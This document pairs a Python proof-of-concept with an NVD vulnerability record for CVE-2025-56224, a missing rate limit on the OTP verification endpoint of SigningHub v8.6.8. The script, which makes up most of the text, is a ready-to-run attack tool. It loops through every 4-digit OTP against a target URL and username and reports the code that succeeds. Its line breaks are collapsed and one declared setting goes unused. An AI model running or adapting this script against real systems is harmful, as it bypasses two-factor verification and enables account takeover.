CVE-2025-56224

#!/usr/bin/env python3 # CVE-2025-56224 - SigningHub OTP Brute Force PoC # This PoC demonstrates the lack of rate limiting on the OTP verification endpoint # of SigningHub v8.6.8, allowing brute force bypass of OTP verification. import requests import itertools import sys import time TARGET_URL = "https://target-signinghub.com/api/otp/verify" # Adjust to actual endpoint USERNAME = "[email protected]" # Target username OTP_LENGTH = 4 # Adjust based on OTP length (commonly 4-6 digits) THREADS = 50 # Concurrent requests def generate_otps(length): """Generate all possible OTP combinations.""" for combo in itertools.product('0123456789', repeat=length): yield ''.join(combo) def attempt_otp(session, username, otp): """Attempt a single OTP value against the target endpoint.""" payload = { "username": username, "otp": otp } try: response = session.post(TARGET_URL, json=payload, timeout=10) if response.status_code == 200 and ("success" in response.text.lower() or "valid" in response.text.lower()): return True, otp return False, None except Exception as e: return False, str(e) def brute_force_otp(username, otp_length): """Main brute force function - iterates through all OTP combinations.""" session = requests.Session() session.headers.update({ "User-Agent": "Mozilla/5.0 (compatible; OTP-BruteForce-PoC)", "Content-Type": "application/json" }) print(f"[*] Starting OTP brute force against: {TARGET_URL}") print(f"[*] Target username: {username}") print(f"[*] OTP length: {otp_length} (keyspace: {10**otp_length})") total = 10 ** otp_length for i, otp in enumerate(generate_otps(otp_length)): success, result = attempt_otp(session, username, otp) if success: print(f"\n[+] SUCCESS! OTP found: {result}") print(f"[+] Attempts made: {i+1}") return result if (i + 1) % 100 == 0: print(f"[*] Progress: {i+1}/{total} OTPs tested...") print("[-] Exhausted all OTP combinations without success.") return None if __name__ == "__main__": if len(sys.argv) > 1: USERNAME = sys.argv[1] brute_force_otp(USERNAME, OTP_LENGTH)

{"cve": {"id": "CVE-2025-56224", "sourceIdentifier": "[email protected]", "published": "2025-10-20T13:15:44.980", "lastModified": "2025-10-27T13:45:04.423", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A lack of rate limiting in the One-Time Password (OTP) verification endpoint of SigningHub v8.6.8 allows attackers to bypass verification via a bruteforce attack."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ascertia:signinghub:*:*:*:*:*:*:*:*", "versionEndIncluding": "8.6.8", "matchCriteriaId": "04320C9C-96AC-4A4A-8EEA-27C59A9EDBE7"}]}]}], "references": [{"url": "http://ascertia.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://signinghub.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/saykino/CVE-2025-56224", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}